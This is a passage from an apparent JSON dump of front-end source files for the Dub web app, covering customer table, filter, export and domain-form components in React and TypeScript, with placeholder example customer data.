    "content": "import useWorkspace from \"@/lib/swr/use-workspace\";\nimport { CustomerEnriched } from \"@/lib/types\";\nimport { MoneyBills2, Receipt2 } from \"@dub/ui\";\nimport { useParams } from \"next/navigation\";\nimport { useMemo } from \"react\";\nimport { PageNavTabs } from \"../layout/page-nav-tabs\";\n\nexport function CustomerTabs({\n  customer,\n  isProgramPage = false,\n}: {\n  customer?: Pick<CustomerEnriched, \"programId\" | \"partner\">;\n  isProgramPage?: boolean;\n}) {\n  const { customerId } = useParams<{ customerId: string }>();\n  const { slug: workspaceSlug } = useWorkspace();\n\n  const tabs = useMemo(\n    () => [\n      {\n        id: \"sales\",\n        label: \"Sales\",\n        icon: Receipt2,\n      },\n      ...(customer?.programId && customer.partner\n        ? [\n            {\n              id: \"earnings\",\n              label: \"Partner earnings\",\n              icon: MoneyBills2,\n            },\n          ]\n        : []),\n    ],\n    [customer?.programId, customer?.partner],\n  );\n\n  return (\n    <PageNavTabs\n      basePath={\n        isProgramPage\n          ? `/${workspaceSlug}/program/customers/${customerId}`\n          : `/${workspaceSlug}/customers/${customerId}`\n      }\n      tabs={tabs}\n    />\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/customers/customers-table/customers-table.tsx",
    "content": "\"use client\";\n\nimport { getPlanCapabilities } from \"@/lib/plan-capabilities\";\nimport useCustomersCount from \"@/lib/swr/use-customers-count\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { CustomerProps } from \"@/lib/types\";\nimport { getCustomersQuerySchema } from \"@/lib/zod/schemas/customers\";\nimport { CustomerRowItem } from \"@/ui/customers/customer-row-item\";\nimport { PartnerRowItem } from \"@/ui/partners/partner-row-item\";\nimport { AnimatedEmptyState } from \"@/ui/shared/animated-empty-state\";\nimport { FilterButtonTableRow } from \"@/ui/shared/filter-button-table-row\";\nimport { SearchBoxPersisted } from \"@/ui/shared/search-box\";\nimport {\n  AnimatedSizeContainer,\n  Button,\n  buttonVariants,\n  CopyText,\n  EditColumnsButton,\n  Filter,\n  LinkLogo,\n  MenuItem,\n  Popover,\n  Table,\n  TimestampTooltip,\n  useColumnVisibility,\n  useCopyToClipboard,\n  usePagination,\n  useRouterStuff,\n  useTable,\n} from \"@dub/ui\";\nimport { Copy, Dots, User } from \"@dub/ui/icons\";\nimport {\n  cn,\n  COUNTRIES,\n  currencyFormatter,\n  fetcher,\n  formatDate,\n  getApexDomain,\n  getPrettyUrl,\n} from \"@dub/utils\";\nimport { Cell, Row } from \"@tanstack/react-table\";\nimport { Command } from \"cmdk\";\nimport Image from \"next/image\";\nimport Link from \"next/link\";\nimport { useRouter } from \"next/navigation\";\nimport { useMemo, useState } from \"react\";\nimport { toast } from \"sonner\";\nimport useSWR from \"swr\";\nimport * as z from \"zod/v4\";\nimport { EXAMPLE_CUSTOMER_DATA } from \"./example-data\";\nimport { useCustomerFilters } from \"./use-customer-filters\";\n\ntype ColumnMeta = {\n  filterParams?: (\n    args: Pick<Cell<CustomerProps, any>, \"getValue\">,\n  ) => Record<string, any>;\n};\n\nexport function CustomersTable({\n  query,\n  isProgramPage = false,\n}: {\n  query?: Partial<z.infer<typeof getCustomersQuerySchema>>;\n  isProgramPage?: boolean;\n}) {\n  const { id: workspaceId, slug: workspaceSlug, plan } = useWorkspace();\n  const { canManageCustomers } = getPlanCapabilities(plan);\n\n  const router = useRouter();\n  const { queryParams, searchParams, getQueryString } = useRouterStuff();\n\n  const sortBy = searchParams.get(\"sortBy\") || \"createdAt\";\n  const sortOrder = searchParams.get(\"sortOrder\") === \"asc\" ? \"asc\" : \"desc\";\n\n  const {\n    filters,\n    activeFilters,\n    onSelect,\n    onRemove,\n    onRemoveAll,\n    isFiltered,\n    setSearch,\n    setSelectedFilter,\n  } = useCustomerFilters(\n    { sortBy, sortOrder },\n    { enabled: canManageCustomers },\n  );\n\n  const { data: customersCount, error: countError } = useCustomersCount({\n    enabled: canManageCustomers,\n    query,\n  });\n\n  const {\n    data: customers,\n    error,\n    isLoading,\n  } = useSWR<CustomerProps[]>(\n    canManageCustomers &&\n      `/api/customers${getQueryString({\n        workspaceId,\n        includeExpandedFields: \"true\",\n        ...query,\n      })}`,\n    fetcher,\n    {\n      keepPreviousData: true,\n    },\n  );\n\n  const customersColumns = {\n    all: [\n      \"customer\",\n      \"country\",\n      ...(isProgramPage ? [\"partner\"] : []),\n      \"link\",\n      \"saleAmount\",\n      \"createdAt\",\n      \"firstSaleAt\",\n      \"subscriptionCanceledAt\",\n      \"externalId\",\n    ],\n    defaultVisible: [\n      \"customer\",\n      \"country\",\n      ...(isProgramPage ? [\"partner\"] : [\"link\"]),\n      \"saleAmount\",\n      \"createdAt\",\n      \"firstSaleAt\",\n      \"subscriptionCanceledAt\",\n    ],\n  };\n\n  const { columnVisibility, setColumnVisibility } = useColumnVisibility(\n    isProgramPage\n      ? \"program-customers-table-columns\"\n      : \"customers-table-columns\",\n    customersColumns,\n  );\n\n  const { pagination, setPagination } = usePagination();\n\n  if (!canManageCustomers) columnVisibility.link = false;\n\n  const columns = useMemo(\n    () =>\n      [\n        {\n          id: \"customer\",\n          header: \"Customer\",\n          enableHiding: false,\n          minSize: 250,\n          cell: ({ row }) => {\n            return <CustomerRowItem customer={row.original} />;\n          },\n        },\n        {\n          id: \"country\",\n          header: \"Country\",\n          accessorKey: \"country\",\n          minSize: 150,\n          meta: {\n            filterParams: ({ getValue }) =>\n              getValue()\n                ? {\n                    country: getValue(),\n                  }\n                : undefined,\n          },\n          cell: ({ row }) => {\n            const country = row.original.country;\n            return (\n              <div className=\"flex items-center gap-2\">\n                {country && (\n                  <img\n                    alt={`${country} flag`}\n                    src={`https://hatscripts.github.io/circle-flags/flags/${country.toLowerCase()}.svg`}\n                    className=\"size-4 shrink-0\"\n                  />\n                )}\n                <span className=\"min-w-0 truncate\">\n                  {(country ? COUNTRIES[country] : null) ?? \"-\"}\n                </span>\n              </div>\n            );\n          },\n        },\n        {\n          id: \"partner\",\n          header: \"Partner\",\n          cell: ({ row }) =>\n            row.original.partner ? (\n              <PartnerRowItem partner={row.original.partner} />\n            ) : (\n              \"-\"\n            ),\n          size: 200,\n          meta: {\n            filterParams: ({ row }) =>\n              row.original.partner?.id\n                ? {\n                    partnerId: row.original.partner.id,\n                  }\n                : undefined,\n          },\n        },\n        {\n          id: \"link\",\n          header: \"Link\",\n          accessorKey: \"link\",\n          meta: {\n            filterParams: ({ getValue }) =>\n              getValue() ? { linkId: getValue().id } : undefined,\n          },\n          cell: ({ row }) =>\n            row.original.link ? (\n              <Link\n                href={`/${workspaceSlug}/links/${row.original.link.domain}/${row.original.link.key}`}\n                target=\"_blank\"\n                className=\"flex cursor-alias items-center gap-3 decoration-dotted underline-offset-2 hover:underline\"\n              >\n                <LinkLogo\n                  apexDomain={getApexDomain(row.original.link.url)}\n                  className=\"size-4 shrink-0 sm:size-4\"\n                />\n                <span className=\"truncate\" title={row.original.link.shortLink}>\n                  {getPrettyUrl(row.original.link.shortLink)}\n                </span>\n              </Link>\n            ) : (\n              \"-\"\n            ),\n          size: 250,\n        },\n        {\n          id: \"saleAmount\",\n          header: \"LTV\",\n          meta: {\n            headerTooltip:\n              \"The total amount of revenue the customer has generated over time (lifetime value).\",\n          },\n          accessorKey: \"saleAmount\",\n          cell: ({ getValue }) => (\n            <div className=\"flex items-center gap-2\">\n              <span>\n                {currencyFormatter(getValue(), {\n                  trailingZeroDisplay: \"stripIfInteger\",\n                })}\n              </span>\n              <span className=\"text-neutral-400\">USD</span>\n            </div>\n          ),\n        },\n        {\n          id: \"createdAt\",\n          header: \"Created\",\n          meta: {\n            headerTooltip:\n              \"The date the customer was created (usually the signup date or trial start date).\",\n          },\n          cell: ({ row }) => (\n            <TimestampTooltip\n              timestamp={row.original.createdAt}\n              rows={[\"local\"]}\n              side=\"left\"\n              delayDuration={150}\n            >\n              <span>\n                {formatDate(row.original.createdAt, { month: \"short\" })}\n              </span>\n            </TimestampTooltip>\n          ),\n        },\n        {\n          id: \"firstSaleAt\",\n          header: \"Paid\",\n          meta: {\n            headerTooltip: \"The date the customer made their first sale.\",\n          },\n          cell: ({ row }) =>\n            row.original.firstSaleAt ? (\n              <TimestampTooltip\n                timestamp={row.original.firstSaleAt}\n                rows={[\"local\"]}\n                side=\"left\"\n                delayDuration={150}\n              >\n                <span>\n                  {formatDate(row.original.firstSaleAt, { month: \"short\" })}\n                </span>\n              </TimestampTooltip>\n            ) : (\n              \"-\"\n            ),\n        },\n        {\n          id: \"subscriptionCanceledAt\",\n          header: \"Canceled\",\n          meta: {\n            headerTooltip: \"The date the customer canceled their subscription.\",\n          },\n          cell: ({ row }) =>\n            row.original.subscriptionCanceledAt ? (\n              <TimestampTooltip\n                timestamp={row.original.subscriptionCanceledAt}\n                rows={[\"local\"]}\n                side=\"left\"\n                delayDuration={150}\n              >\n                <span>\n                  {formatDate(row.original.subscriptionCanceledAt, {\n                    month: \"short\",\n                  })}\n                </span>\n              </TimestampTooltip>\n            ) : (\n              \"-\"\n            ),\n        },\n        {\n          id: \"externalId\",\n          header: \"External ID\",\n          accessorKey: \"externalId\",\n          cell: ({ row }) =>\n            row.original.externalId ? (\n              <CopyText\n                value={row.original.externalId}\n                successMessage=\"Copied external ID to clipboard!\"\n                className=\"truncate\"\n              >\n                {row.original.externalId}\n              </CopyText>\n            ) : (\n              \"-\"\n            ),\n        },\n        // Menu\n        {\n          id: \"menu\",\n          enableHiding: false,\n          header: () => <EditColumnsButton table={table} />,\n          cell: ({ row }) => <RowMenuButton row={row} />,\n        },\n      ].filter((c) => c.id === \"menu\" || customersColumns.all.includes(c.id)),\n    [isProgramPage, workspaceSlug],\n  );\n\n  const getCustomerUrl = (row: Row<CustomerProps>) =>\n    isProgramPage\n      ? `/${workspaceSlug}/program/customers/${row.original.id}`\n      : `/${workspaceSlug}/customers/${row.original.id}`;\n\n  const { table, ...tableProps } = useTable({\n    data: canManageCustomers ? customers || [] : EXAMPLE_CUSTOMER_DATA,\n    columns,\n    columnPinning: { right: [\"menu\"] },\n    onRowClick: (row, e) => {\n      const url = getCustomerUrl(row);\n\n      if (e.metaKey || e.ctrlKey) window.open(url, \"_blank\");\n      else router.push(url);\n    },\n    onRowAuxClick: (row) => window.open(getCustomerUrl(row), \"_blank\"),\n    rowProps: (row) => ({\n      onPointerEnter: () => {\n        router.prefetch(getCustomerUrl(row));\n      },\n    }),\n    pagination,\n    onPaginationChange: setPagination,\n    columnVisibility,\n    onColumnVisibilityChange: setColumnVisibility,\n    sortableColumns: [\n      \"createdAt\",\n      \"saleAmount\",\n      \"firstSaleAt\",\n      \"subscriptionCanceledAt\",\n    ],\n    sortBy,\n    sortOrder,\n    onSortChange: ({ sortBy, sortOrder }) =>\n      queryParams({\n        set: {\n          ...(sortBy && { sortBy }),\n          ...(sortOrder && { sortOrder }),\n        },\n        del: \"page\",\n        scroll: false,\n      }),\n    cellRight: (cell) => {\n      const meta = cell.column.columnDef.meta as ColumnMeta | undefined;\n      if (!meta?.filterParams) return null;\n      const params = meta.filterParams(cell);\n      if (!params || Object.keys(params).length === 0) return null;\n      return <FilterButtonTableRow set={params} />;\n    },\n    thClassName: \"border-l-0\",\n    tdClassName: \"border-l-0\",\n    resourceName: (p) => `customer${p ? \"s\" : \"\"}`,\n    rowCount: customersCount || 0,\n    loading: isLoading,\n    error:\n      error instanceof Error\n        ? error.message\n        : countError\n          ? \"Failed to load customers\"\n          : undefined,\n  });\n\n  return (\n    <div className=\"flex flex-col gap-3\">\n      <div>\n        <div className=\"flex flex-col gap-3 md:flex-row md:items-center md:justify-between\">\n          <Filter.Select\n            className=\"w-full md:w-fit\"\n            filters={filters}\n            activeFilters={activeFilters}\n            onSelect={onSelect}\n            onRemove={onRemove}\n            onSearchChange={setSearch}\n            onSelectedFilterChange={setSelectedFilter}\n          />\n          <SearchBoxPersisted\n            placeholder=\"Search by email or name\"\n            inputClassName=\"md:w-[16rem]\"\n          />\n        </div>\n        <AnimatedSizeContainer height>\n          <div>\n            {activeFilters.length > 0 && (\n              <div className=\"pt-3\">\n                <Filter.List\n                  filters={filters}\n                  activeFilters={activeFilters}\n                  onSelect={onSelect}\n                  onRemove={onRemove}\n                  onRemoveAll={onRemoveAll}\n                />\n              </div>\n            )}\n          </div>\n        </AnimatedSizeContainer>\n      </div>\n      {!canManageCustomers || customers?.length !== 0 ? (\n        <Table\n          {...tableProps}\n          table={table}\n          scrollWrapperClassName={\n            canManageCustomers ? undefined : \"overflow-x-hidden\"\n          }\n        >\n          {!canManageCustomers && (\n            <>\n              <div className=\"absolute inset-0 flex touch-pan-y flex-col items-center justify-center bg-gradient-to-t from-[#fff_75%] to-[#fff6] px-4 text-center\">\n                <div className=\"h-40 w-full max-w-[480px] overflow-hidden [mask-image:linear-gradient(black,transparent)]\">\n                  <div className=\"relative h-96 w-full overflow-hidden rounded-lg border border-neutral-200\">\n                    <Image\n                      src=\"https://assets.dub.co/misc/customer-screenshot.jpg\"\n                      fill\n                      className=\"object-contain object-top\"\n                      alt=\"Customer overview screenshot\"\n                      draggable={false}\n                    />\n                  </div>\n                </div>\n                <div className=\"relative -mt-4 flex flex-col items-center justify-center\">\n                  <span className=\"text-lg font-semibold text-neutral-700\">\n                    Customer Insights\n                  </span>\n                  <p className=\"mt-3 max-w-sm text-pretty text-sm text-neutral-500\">\n                    Want to see more details about your customers' LTV, country\n                    breakdown etc.? Upgrade to our Business Plan to get deeper,\n                    real-time customer insights.{\" \"}\n                    <a\n                      href=\"https://dub.co/help/article/customer-insights\"\n                      target=\"_blank\"\n                      className=\"underline underline-offset-2 hover:text-neutral-800\"\n                    >\n                      Learn more ↗\n                    </a>\n                  </p>\n                  <div className=\"mt-4\">\n                    <Link\n                      href={`/${workspaceSlug}/upgrade`}\n                      className={cn(\n                        buttonVariants({ variant: \"secondary\" }),\n                        \"flex h-8 items-center justify-center gap-2 rounded-md border px-4 text-sm\",\n                      )}\n                    >\n                      <span className=\"bg-gradient-to-r from-violet-600 to-pink-600 bg-clip-text text-transparent\">\n                        Upgrade to Business\n                      </span>\n                    </Link>\n                  </div>\n                </div>\n              </div>\n              <div className=\"h-[420px]\" />\n            </>\n          )}\n        </Table>\n      ) : (\n        <AnimatedEmptyState\n          title={`No customers ${isFiltered ? \"found\" : \"yet\"}`}\n          description={\n            isFiltered\n              ? \"No customers found for the selected filters. Adjust your filters to refine your search results.\"\n              : \"No customers have been recorded for your workspace yet. Learn how to track your first customer.\"\n          }\n          {...(!isFiltered && {\n            learnMoreHref: `/${workspaceSlug}/settings/tracking`,\n            learnMoreTarget: \"_self\",\n            learnMoreText: \"Read the guides\",\n          })}\n          cardContent={() => (\n            <>\n              <User className=\"size-4 text-neutral-700\" />\n              <div className=\"h-2.5 w-24 min-w-0 rounded-sm bg-neutral-200\" />\n            </>\n          )}\n        />\n      )}\n    </div>\n  );\n}\n\nfunction RowMenuButton({ row }: { row: Row<CustomerProps> }) {\n  const [isOpen, setIsOpen] = useState(false);\n\n  const [, copyToClipboard] = useCopyToClipboard();\n\n  return (\n    <>\n      <Popover\n        openPopover={isOpen}\n        setOpenPopover={setIsOpen}\n        content={\n          <Command tabIndex={0} loop className=\"focus:outline-none\">\n            <Command.List className=\"flex w-screen flex-col gap-1 p-1.5 text-sm focus-visible:outline-none sm:w-auto sm:min-w-[130px]\">\n              {row.original.externalId && (\n                <MenuItem\n                  as={Command.Item}\n                  icon={Copy}\n                  onSelect={() => {\n                    toast.promise(copyToClipboard(row.original.externalId), {\n                      success: \"Copied to clipboard\",\n                    });\n                    setIsOpen(false);\n                  }}\n                >\n                  Copy external ID\n                </MenuItem>\n              )}\n              {row.original.email && (\n                <MenuItem\n                  as={Command.Item}\n                  icon={Copy}\n                  onSelect={() => {\n                    toast.promise(copyToClipboard(row.original.email!), {\n                      success: \"Copied to clipboard\",\n                    });\n                    setIsOpen(false);\n                  }}\n                >\n                  Copy email\n                </MenuItem>\n              )}\n            </Command.List>\n          </Command>\n        }\n        align=\"end\"\n      >\n        <Button\n          type=\"button\"\n          className=\"h-8 whitespace-nowrap px-2 disabled:border-transparent disabled:bg-transparent\"\n          variant=\"outline\"\n          icon={<Dots className=\"h-4 w-4 shrink-0\" />}\n          disabled={!row.original.externalId && !row.original.email}\n        />\n      </Popover>\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/customers/customers-table/example-data.ts",
    "content": "const millisecondsPerDay = 24 * 60 * 60 * 1000;\n\nexport const EXAMPLE_CUSTOMER_DATA = [\n  {\n    id: \"cus_example_1\",\n    externalId: \"djk29fjj3I1\",\n    name: \"Liam White\",\n    email: \"liam@acme.com\",\n    avatar: \"https://api.dub.co/og/avatar/l\",\n    country: \"US\",\n    sales: 1,\n    saleAmount: 20_00,\n    createdAt: new Date(new Date().getTime() - 14 * millisecondsPerDay),\n    firstSaleAt: null,\n    subscriptionCanceledAt: null,\n    link: null,\n    discount: null,\n  },\n  {\n    id: \"cus_example_2\",\n    externalId: \"c34kd94jcz2\",\n    name: \"Emma Green\",\n    email: \"emma@acme.com\",\n    avatar: \"https://api.dub.co/og/avatar/e\",\n    country: \"CA\",\n    sales: 30,\n    saleAmount: 1200_00,\n    createdAt: new Date(new Date().getTime() - 20 * millisecondsPerDay),\n    firstSaleAt: null,\n    subscriptionCanceledAt: null,\n    link: null,\n    discount: null,\n  },\n  {\n    id: \"cus_1JPT0T7E9C840AG88AQHXDGN4\",\n    externalId: \"nm58fnz9071\",\n    name: \"Daniel Brown\",\n    email: \"daniel@acme.com\",\n    avatar: \"https://api.dub.co/og/avatar/d\",\n    country: \"US\",\n    sales: 3,\n    saleAmount: 90_00,\n    createdAt: new Date(new Date().getTime() - 30 * millisecondsPerDay),\n    firstSaleAt: null,\n    subscriptionCanceledAt: null,\n    link: null,\n    discount: null,\n  },\n];\n"
  },
  {
    "path": "apps/web/ui/customers/customers-table/use-customer-filters.tsx",
    "content": "import useCustomersCount from \"@/lib/swr/use-customers-count\";\nimport usePartners from \"@/lib/swr/use-partners\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { EnrolledPartnerProps } from \"@/lib/types\";\nimport { LinkLogo, useRouterStuff } from \"@dub/ui\";\nimport { FlagWavy, Hyperlink, SquareUserSparkle2, Users } from \"@dub/ui/icons\";\nimport {\n  COUNTRIES,\n  getApexDomain,\n  getPrettyUrl,\n  nFormatter,\n  OG_AVATAR_URL,\n} from \"@dub/utils\";\nimport { useCallback, useMemo, useState } from \"react\";\nimport { useDebounce } from \"use-debounce\";\n\nexport function useCustomerFilters(\n  extraSearchParams: Record<string, string>,\n  { enabled = true }: { enabled?: boolean } = {},\n) {\n  const { searchParamsObj, queryParams } = useRouterStuff();\n  const { id: workspaceId, slug } = useWorkspace();\n\n  const [selectedFilter, setSelectedFilter] = useState<string | null>(null);\n  const [search, setSearch] = useState(\"\");\n  const [debouncedSearch] = useDebounce(search, 500);\n\n  const { partners } = usePartnerFilterOptions(\n    selectedFilter === \"partnerId\" ? debouncedSearch : \"\",\n  );\n\n  const { data: countriesCount } = useCustomersCount<\n    | {\n        country: string;\n        _count: number;\n      }[]\n    | undefined\n  >({\n    query: {\n      groupBy: \"country\",\n    },\n    enabled,\n  });\n\n  const { data: linksCount } = useCustomersCount<\n    | {\n        linkId: string;\n        shortLink: string;\n        url: string;\n        _count: number;\n      }[]\n    | undefined\n  >({\n    query: {\n      groupBy: \"linkId\",\n    },\n    enabled,\n  });\n\n  const filters = useMemo(\n    () => [\n      {\n        key: \"country\",\n        icon: FlagWavy,\n        label: \"Country\",\n        getOptionIcon: (value) => (\n          <img\n            alt={value}\n            src={`https://hatscripts.github.io/circle-flags/flags/${value.toLowerCase()}.svg`}\n            className=\"size-4 shrink-0\"\n          />\n        ),\n        getOptionLabel: (value) => COUNTRIES[value],\n        options:\n          countriesCount\n            ?.filter(({ country }) => COUNTRIES[country])\n            .map(({ country, _count }) => ({\n              value: country,\n              label: COUNTRIES[country],\n              right: nFormatter(_count, { full: true }),\n              permalink: `/${slug}/analytics?event=leads&country=${country}`,\n            })) ?? [],\n        meta: {\n          filterParams: ({ getValue }) => ({\n            country: getValue(),\n          }),\n        },\n      },\n      {\n        key: \"partnerId\",\n        icon: Users,\n        label: \"Partner\",\n        shouldFilter: false,\n        options:\n          partners?.map(({ id, name, image }) => {\n            return {\n              value: id,\n              label: name,\n              icon: (\n                <img\n                  src={image || `${OG_AVATAR_URL}${id}`}\n                  alt={`${name} image`}\n                  className=\"size-4 rounded-full\"\n                />\n              ),\n            };\n          }) ?? null,\n      },\n      {\n        key: \"linkId\",\n        icon: Hyperlink,\n        label: \"Link\",\n        getOptionIcon: (_value, props) => (\n          <LinkLogo\n            apexDomain={getApexDomain(props.option?.data?.url)}\n            className=\"size-4 shrink-0 sm:size-4\"\n          />\n        ),\n        options:\n          linksCount?.map(({ linkId, shortLink, url, _count }) => ({\n            value: linkId,\n            label: getPrettyUrl(shortLink),\n            right: nFormatter(_count, { full: true }),\n            permalink: `/${slug}/links/${getPrettyUrl(shortLink)}`,\n            data: { url },\n          })) ?? [],\n        meta: {\n          filterParams: ({ getValue }) => ({\n            linkId: getValue(),\n          }),\n        },\n      },\n      {\n        key: \"externalId\",\n        icon: SquareUserSparkle2,\n        label: \"External ID\",\n        options: [],\n        meta: {\n          filterParams: ({ getValue }) => ({\n            externalId: getValue(),\n          }),\n        },\n      },\n    ],\n    [partners, countriesCount, linksCount, slug],\n  );\n\n  const activeFilters = useMemo(() => {\n    const { country, linkId, externalId, partnerId } = searchParamsObj;\n\n    return [\n      ...(partnerId ? [{ key: \"partnerId\", value: partnerId }] : []),\n      ...(country ? [{ key: \"country\", value: country }] : []),\n      ...(linkId ? [{ key: \"linkId\", value: linkId }] : []),\n      ...(externalId ? [{ key: \"externalId\", value: externalId }] : []),\n    ];\n  }, [searchParamsObj]);\n\n  const onSelect = useCallback(\n    (key: string, value: any) =>\n      queryParams({\n        set: {\n          [key]: value,\n        },\n        del: \"page\",\n      }),\n    [queryParams],\n  );\n\n  const onRemove = useCallback(\n    (key: string) =>\n      queryParams({\n        del: [key, \"page\"],\n      }),\n    [queryParams],\n  );\n\n  const onRemoveAll = useCallback(\n    () =>\n      queryParams({\n        del: [\"partnerId\", \"country\", \"linkId\", \"externalId\", \"search\"],\n      }),\n    [queryParams],\n  );\n\n  const searchQuery = useMemo(\n    () =>\n      new URLSearchParams({\n        ...Object.fromEntries(\n          activeFilters.map(({ key, value }) => [key, value]),\n        ),\n        ...(searchParamsObj.search && { search: searchParamsObj.search }),\n        workspaceId: workspaceId || \"\",\n        ...extraSearchParams,\n      }).toString(),\n    [activeFilters, workspaceId, extraSearchParams],\n  );\n\n  const isFiltered = useMemo(\n    () => activeFilters.length > 0 || searchParamsObj.search,\n    [activeFilters, searchParamsObj.search],\n  );\n\n  return {\n    filters,\n    activeFilters,\n    onSelect,\n    onRemove,\n    onRemoveAll,\n    searchQuery,\n    isFiltered,\n    setSearch,\n    setSelectedFilter,\n  };\n}\n\nfunction usePartnerFilterOptions(search: string) {\n  const { searchParamsObj } = useRouterStuff();\n\n  const { partners, loading: partnersLoading } = usePartners({\n    query: { search },\n  });\n\n  const { partners: selectedPartners } = usePartners({\n    query: {\n      partnerIds: searchParamsObj.partnerId\n        ? [searchParamsObj.partnerId]\n        : undefined,\n    },\n  });\n\n  const result = useMemo(() => {\n    return partnersLoading ||\n      // Consider partners loading if we can't find the currently filtered partner\n      (searchParamsObj.partnerId &&\n        ![...(selectedPartners ?? []), ...(partners ?? [])].some(\n          (p) => p.id === searchParamsObj.partnerId,\n        ))\n      ? null\n      : ([\n          ...(partners ?? []),\n          // Add selected partner to list if not already in partners\n          ...(selectedPartners\n            ?.filter((st) => !partners?.some((t) => t.id === st.id))\n            ?.map((st) => ({ ...st, hideDuringSearch: true })) ?? []),\n        ] as (EnrolledPartnerProps & { hideDuringSearch?: boolean })[]);\n  }, [partnersLoading, partners, selectedPartners, searchParamsObj.partnerId]);\n\n  return { partners: result };\n}\n"
  },
  {
    "path": "apps/web/ui/customers/export-customers-button.tsx",
    "content": "\"use client\";\n\nimport { useExportCustomersModal } from \"@/ui/modals/export-customers-modal\";\nimport { ThreeDots } from \"@/ui/shared/icons\";\nimport { Button, Download, IconMenu, Popover } from \"@dub/ui\";\nimport { useState } from \"react\";\n\nexport function ExportCustomersButton() {\n  const [openPopover, setOpenPopover] = useState(false);\n\n  const { ExportCustomersModal, setShowExportCustomersModal } =\n    useExportCustomersModal();\n\n  return (\n    <>\n      <ExportCustomersModal />\n      <Popover\n        content={\n          <div className=\"w-full md:w-52\">\n            <div className=\"grid gap-px p-2\">\n              <p className=\"mb-1.5 mt-1 flex items-center gap-2 px-1 text-xs font-medium text-neutral-500\">\n                Export Customers\n              </p>\n              <button\n                onClick={() => {\n                  setOpenPopover(false);\n                  setShowExportCustomersModal(true);\n                }}\n                className=\"w-full rounded-md p-2 hover:bg-neutral-100 active:bg-neutral-200\"\n              >\n                <IconMenu\n                  text=\"Export as CSV\"\n                  icon={<Download className=\"h-4 w-4\" />}\n                />\n              </button>\n            </div>\n          </div>\n        }\n        openPopover={openPopover}\n        setOpenPopover={setOpenPopover}\n        align=\"end\"\n      >\n        <Button\n          onClick={() => setOpenPopover(!openPopover)}\n          variant=\"secondary\"\n          className=\"h-8 w-auto px-1.5 sm:h-9\"\n          icon={<ThreeDots className=\"h-5 w-5 text-neutral-500\" />}\n        />\n      </Popover>\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/domains/add-edit-domain-form.tsx",
    "content": "import { isValidDomain } from \"@/lib/api/domains/is-valid-domain\";\nimport { mutatePrefix } from \"@/lib/swr/mutate\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { DomainProps } from \"@/lib/types\";\nimport { createDomainBodySchemaExtended } from \"@/lib/zod/schemas/domains\";\nimport { AlertCircleFill, CheckCircleFill, Lock } from \"@/ui/shared/icons\";\nimport { UpgradeRequiredToast } from \"@/ui/shared/upgrade-required-toast\";\nimport {\n  AndroidLogo,\n  AnimatedSizeContainer,\n  AppleLogo,\n  Badge,\n  Button,\n  FileUpload,\n  InfoTooltip,\n  LoadingSpinner,\n  MobilePhone,\n  ShimmerDots,\n  Switch,\n  useEnterSubmit,\n  useMediaQuery,\n} from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport {\n  Binoculars,\n  ChevronDown,\n  Crown,\n  Milestone,\n  QrCode,\n  TextCursorInput,\n} from \"lucide-react\";\nimport { motion } from \"motion/react\";\nimport { FormEvent, useEffect, useMemo, useRef, useState } from \"react\";\nimport { Controller, useForm } from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport { useDebouncedCallback } from \"use-debounce\";\nimport * as z from \"zod/v4\";\nimport { QRCode } from \"../shared/qr-code\";\n\nconst sanitizeJson = (string: string | null) => {\n  if (!string) {\n    return null;\n  }\n\n  try {\n    return JSON.stringify(JSON.parse(string));\n  } catch (e) {\n    return string;\n  }\n};\n\nconst formatJson = (string: string) => {\n  try {\n    return JSON.stringify(JSON.parse(string), null, 2);\n  } catch (e) {\n    return string;\n  }\n};\n\ntype FormData = z.infer<typeof createDomainBodySchemaExtended>;\n\ntype DomainStatus = \"checking\" | \"conflict\" | \"has site\" | \"available\" | \"idle\";\n\nconst STATUS_CONFIG: Record<\n  DomainStatus,\n  {\n    prefix?: string;\n    useStrong?: boolean;\n    suffix?: string;\n    icon?: React.ElementType;\n    className?: string;\n    message?: string;\n  }\n> = {\n  checking: {\n    prefix: \"Checking availability for\",\n    useStrong: true,\n    suffix: \"...\",\n    icon: LoadingSpinner,\n  },\n  conflict: {\n    suffix: \"is already in use.\",\n    icon: AlertCircleFill,\n    className: \"bg-red-100 text-red-600\",\n  },\n  \"has site\": {\n    suffix:\n      \"is currently pointing to an existing website. Only proceed if you're sure you want to use this domain for short links on Dub.\",\n    icon: AlertCircleFill,\n    className: \"bg-blue-100 text-blue-800\",\n  },\n  available: {\n    suffix: \"is ready to connect.\",\n    icon: CheckCircleFill,\n    className: \"bg-green-100 text-green-600\",\n  },\n  idle: {\n    message: \"Enter a valid domain to check availability.\",\n  },\n};\n\nexport function AddEditDomainForm({\n  props,\n  onSuccess,\n  enableDomainConfig = true,\n}: {\n  props?: DomainProps;\n  onSuccess?: (data: DomainProps) => void;\n  enableDomainConfig?: boolean;\n}) {\n  const { id: workspaceId, plan } = useWorkspace();\n  const [lockDomain, setLockDomain] = useState(true);\n  const [showAdvancedOptions, setShowAdvancedOptions] = useState(false);\n  const [domainStatus, setDomainStatus] = useState<DomainStatus>(\n    props ? \"available\" : \"idle\",\n  );\n  const [showOptionStates, setShowOptionStates] = useState<\n    Record<string, boolean>\n  >({});\n\n  const {\n    register,\n    control,\n    handleSubmit,\n    watch,\n    setValue,\n    formState: { isSubmitting, isDirty },\n  } = useForm<FormData>({\n    defaultValues: {\n      slug: props?.slug,\n      logo: props?.logo,\n      expiredUrl: props?.expiredUrl,\n      notFoundUrl: props?.notFoundUrl,\n      placeholder: props?.placeholder,\n      appleAppSiteAssociation: props?.appleAppSiteAssociation\n        ? formatJson(props.appleAppSiteAssociation)\n        : undefined,\n      assetLinks: props?.assetLinks ? formatJson(props.assetLinks) : undefined,\n      deepviewData: props?.deepviewData\n        ? formatJson(props.deepviewData)\n        : undefined,\n    },\n  });\n\n  useEffect(() => {\n    if (props?.appleAppSiteAssociation || props?.assetLinks) {\n      setShowAdvancedOptions(true);\n      setShowOptionStates((prev) => ({\n        ...prev,\n        appleAppSiteAssociation: !!props?.appleAppSiteAssociation?.trim(),\n        assetLinks: !!props?.assetLinks?.trim(),\n      }));\n    }\n\n    // separate field for this because we don't show it unless appleAppSiteAssociation or assetLinks is 